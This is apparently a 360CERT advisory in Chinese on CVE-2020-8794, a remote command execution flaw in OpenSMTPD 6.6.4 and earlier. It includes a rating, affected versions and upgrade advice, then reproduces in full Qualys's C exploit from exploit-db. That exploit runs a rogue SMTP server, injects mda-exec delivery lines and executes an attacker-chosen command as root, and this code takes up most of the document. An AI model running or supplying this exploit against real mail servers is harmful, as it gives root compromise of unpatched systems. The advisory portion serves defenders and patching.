CVE-2020-8794-OpenSMTPD 远程命令执行漏洞

## CVE-2020-8794: OpenSMTPD 远程命令执行漏洞通告

## 0x00 漏洞背景

2020年03月02日， 360CERT监测发现国外 `qualys` 研究团队已经公布 `OpenSMTPD` 的一枚远程命令执行漏洞的漏洞细节，漏洞编号为 `CVE-2020-8794`，影响 `6.6.4` 及之前的版本。

该漏洞是一个越界读漏洞，在 2015年12月被引入 (commit id `80c6a60c`)。

与上一个漏洞 `CVE-2020-7247` 相比，`CVE-2020-8794`产生了更为广泛的影响版本，攻击方式更为复杂。

该漏洞在默认安装 `OpenSMTPD` 情况下，即可攻击成功并执行任意命令。

## 0x01 风险等级

360CERT对该漏洞进行评定

| 评定方式 | 等级 |
| :——: | :–: |
| 威胁等级 | 高危 |
| 影响面 | 一般 |

360CERT建议广大用户及时更新`OpenSMTPD`。做好资产 自查/自检/预防 工作，以免遭受攻击。

## 0x02 影响版本

OpenSMTPD <= 6.6.4 ## 0x03 修复建议 最新版本为 `6.6.4p1`。 Debain 用户可以通过 `apt` 包管理器升级 `OpenSMTPD` stretch 6.0.2p1-2+deb9u3 buster 6.0.3p1-5+deb10u4 ## 0x4 漏洞利用EXP： ```c /* * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see .
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

static enum {
CLIENT_SIDE_EXPLOIT,
SERVER_SIDE_EXPLOIT,
} exploit = CLIENT_SIDE_EXPLOIT;

static enum {
NEW_SMTPD_GRAMMAR,
OLD_SMTPD_GRAMMAR,
} grammar = NEW_SMTPD_GRAMMAR;

static struct {
const char * command;
const char * user;
const char * dispatcher;
const char * maildir;
char lines[512];
} inject = {
.command = “X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0”,
.user = “root”,
.dispatcher = “local_mail”,
.maildir = NULL,
};

#define die() do { \
printf(“died in %s: %u\n”, __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static struct addrinfo *
common_getaddrinfo(const char * const host, const char * const port)
{
const struct addrinfo hints = {
.ai_family = AF_INET,
.ai_socktype = SOCK_STREAM,
.ai_protocol = IPPROTO_TCP,
.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
};
struct addrinfo * addr = NULL;
if (getaddrinfo(host, port, &hints, &addr) != 0) die();
if (addr == NULL || addr->ai_next != NULL) die();
return addr;
}

static const char *
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
{
static char host[NI_MAXHOST];
static char port[NI_MAXSERV];
if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();

static char host_port[NI_MAXHOST + NI_MAXSERV];
if (snprintf(host_port, sizeof(host_port), “%s:%s”, host, port) <= 0) die(); return host_port; } static void common_send(const int fd, const char * const format, va_list ap) { if (fd <= -1) die(); static char buf[1024]; const int len = vsnprintf(buf, sizeof(buf), format, ap); if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
printf(“–> %s%s”, buf, buf[len-1] != ‘\n’ ? “\n” : “”);

const char * data = buf;
size_t size = len;

for (;;) {
const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
if (sent <= 0) die(); if ((size_t)sent > size) die();
data += sent;
size -= sent;
if (size <= 0) return; } die(); } static int listen_fd = -1; static void server_listen(void) { if (listen_fd != -1) die(); const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25"); listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (listen_fd <= -1) die(); const int on = 1; if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die(); if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
if (listen(listen_fd, 10) != 0) die();

printf(“\nListening on %s\n”,
common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
}

static int server_fd = -1;

static void
server_accept(void)
{
struct sockaddr addr;
socklen_t addr_len = sizeof(addr);

if (listen_fd <= -1) die(); if (server_fd != -1) die(); server_fd = accept(listen_fd, &addr, &addr_len); if (server_fd <= -1) die(); if (addr_len > sizeof(addr)) die();

const time_t now = time(NULL);
printf(“\nConnection from %s\n%s”,
common_getnameinfo(&addr, addr_len), ctime(&now));

const int on = 1;
if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
}

static void
server_send(const char * const format, …)
{
if (server_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(server_fd, format, ap); va_end(ap); } static char server_command[1024]; static void server_recv(const char * const prefix) { if (server_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 4) die(); char * data = server_command; size_t size = sizeof(server_command); for (;;) { const ssize_t rcvd = recv(server_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die();
data += rcvd;
size -= rcvd;
data[0] = ‘\0’;
if (data[-1] != ‘\n’) continue;
if (strchr(server_command, ‘\n’) != data – 1) die();

printf(“<-- %s", server_command); if (strncmp(server_command, prefix, prefix_len) != 0) die(); return; } die(); } static void server_close(void) { if (server_fd <= -1) die(); if (close(server_fd) != 0) die(); server_fd = -1; } static void server_session(const char * const inject_lines) { const char * const error_code = (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553"; server_accept(); server_send("220 ent.of.line ESMTP\n"); server_recv("EHLO "); server_send("250 ent.of.line Hello\n"); server_recv("MAIL FROM:<"); if ((strncmp(server_command, "MAIL FROM:<>“, 12) == 0) !=
(exploit == SERVER_SIDE_EXPLOIT)) die();

if (inject_lines != NULL) {
if (inject_lines[0] == ‘\0’) die();
if (inject_lines[0] == ‘\n’) die();
if (inject_lines[strlen(inject_lines)-1] == ‘\n’) die();

server_send(“%s-Error\n”, error_code);
server_send(“%s\n\n%s%c”, error_code, inject_lines, (int)’\0′);

} else {
server_send(“%s Error\n”, error_code);

server_recv(“RSET”);
server_send(“250 Reset\n”);

server_recv(“QUIT”);
server_send(“221 Bye\n”);
}
server_close();
}

static const struct addrinfo * client_target = NULL;
static const char * client_mail = NULL;
static const char * client_rcpt = NULL;

static int client_fd = -1;

static void
client_connect(void)
{
if (client_fd != -1) die();
client_fd = socket(client_target->ai_family, client_target->ai_socktype,
client_target->ai_protocol);
if (client_fd <= -1) die(); if (connect(client_fd, client_target->ai_addr,
client_target->ai_addrlen) != 0) die();

printf(“\nConnected to %s\n”,
common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
}

static void
client_send(const char * const format, …)
{
if (client_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(client_fd, format, ap); va_end(ap); } static char client_reply[1024]; static void client_recv(const char * const prefix) { if (client_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 3) die(); char * data = client_reply; size_t size = sizeof(client_reply); const char * line = data; for (;;) { const ssize_t rcvd = recv(client_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die();
data += rcvd;
size -= rcvd;
data[0] = ‘\0’;
if (data[-1] != ‘\n’) continue;

for (;;) {
const char * const new_line = strchr(line, ‘\n’);
if (new_line == NULL) break;
if (new_line – line < 4) die(); printf("<-- %.*s", (int)(new_line - line + 1), line); if (strncmp(line, prefix, prefix_len) != 0) die(); if (line[3] == ' ') { if (new_line + 1 != data) die(); return; } if (line[3] != '-') die(); line = new_line + 1; } if (line != data) die(); } die(); } static void client_close(void) { if (client_fd <= -1) die(); if (close(client_fd) != 0) die(); client_fd = -1; } static void client_session(void) { client_connect(); client_recv("220 "); client_send("HELP\n"); client_recv("214"); if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die(); client_send("EHLO ent.of.line\n"); client_recv("250"); const int dsn = (strstr(client_reply, "250-DSN") != NULL); client_send("MAIL FROM:<%s>\n”, client_mail);
client_recv(“250 “);

client_send(“RCPT TO:<%s>%s\n”, client_rcpt, dsn ? ” NOTIFY=SUCCESS” : “”);
client_recv(“250 “);

client_send(“DATA\n”);
client_recv(“354 Enter mail, end with “);

if (!dsn) {
client_send(“Delivered-To: %s\n”, client_rcpt);
}
client_send(“\n”);
client_send(“.\n”);
client_recv(“250 “);

client_send(“QUIT\n”);
client_recv(“221 “);
client_close();
}

int
main(int argc, char * const * argv)
{
setlinebuf(stdout);
puts(“LPE and RCE in OpenSMTPD’s default install (CVE-2020-8794)”);
puts(“Copyright (C) 2020 Qualys, Inc.”);

int opt;
while ((opt = getopt(argc, argv, “c:u:d:m:n”)) != -1) {
switch (opt) {
case ‘c’:
inject.command = optarg;
break;
case ‘u’:
grammar = OLD_SMTPD_GRAMMAR;
inject.user = optarg;
break;
case ‘d’:
inject.dispatcher = optarg;
break;
case ‘m’:
grammar = OLD_SMTPD_GRAMMAR;
inject.maildir = optarg;
break;
case ‘n’:
grammar = NEW_SMTPD_GRAMMAR;
break;
default:
die();
}
}

if (grammar == NEW_SMTPD_GRAMMAR) {
const int len = snprintf(inject.lines, sizeof(inject.lines),
“type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s”,
inject.command, inject.dispatcher, inject.user);
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

} else if (grammar == OLD_SMTPD_GRAMMAR) {
const int len = snprintf(inject.lines, sizeof(inject.lines),
“type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:“,
inject.maildir ? inject.maildir : inject.command,
inject.maildir ? “maildir” : “mda”, inject.user);
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

} else die();

argc -= optind;
argv += optind;

if (argc == 3) {
exploit = SERVER_SIDE_EXPLOIT;
client_target = common_getaddrinfo(argv[0], “25”);
client_mail = argv[1];
client_rcpt = argv[2];

} else if (argc != 0) die();

server_listen();
if (exploit == CLIENT_SIDE_EXPLOIT) {
server_session(inject.lines);

} else if (exploit == SERVER_SIDE_EXPLOIT) {
client_session();
unsigned try;
for (try = 0; try < 1; try++) { server_session(NULL); puts("\nPlease wait for OpenSMTPD to connect back..."); } server_session(inject.lines); client_session(); server_session("type:invalid"); } else die(); exit(EXIT_SUCCESS); } ``` > 注：EXP来源于：https://www.exploit-db.com/exploits/48140

## 0x05 参考链接

1、qualys 报告

[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt]

2、qualys 报告细节

[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c]

3、CVE-2020-7247: OpenSMTPD 远程命令执行漏洞通告 – 360CERT

[https://cert.360.cn/warning/detail?id=b03e92c903678dd6497d1be040f761d5]

4、Releases · OpenSMTPD/OpenSMTPD

[https://github.com/OpenSMTPD/OpenSMTPD/releases]

5、Debian — Security Information — DSA-4634-1 opensmtpd

[https://www.debian.org/security/2020/dsa-4634]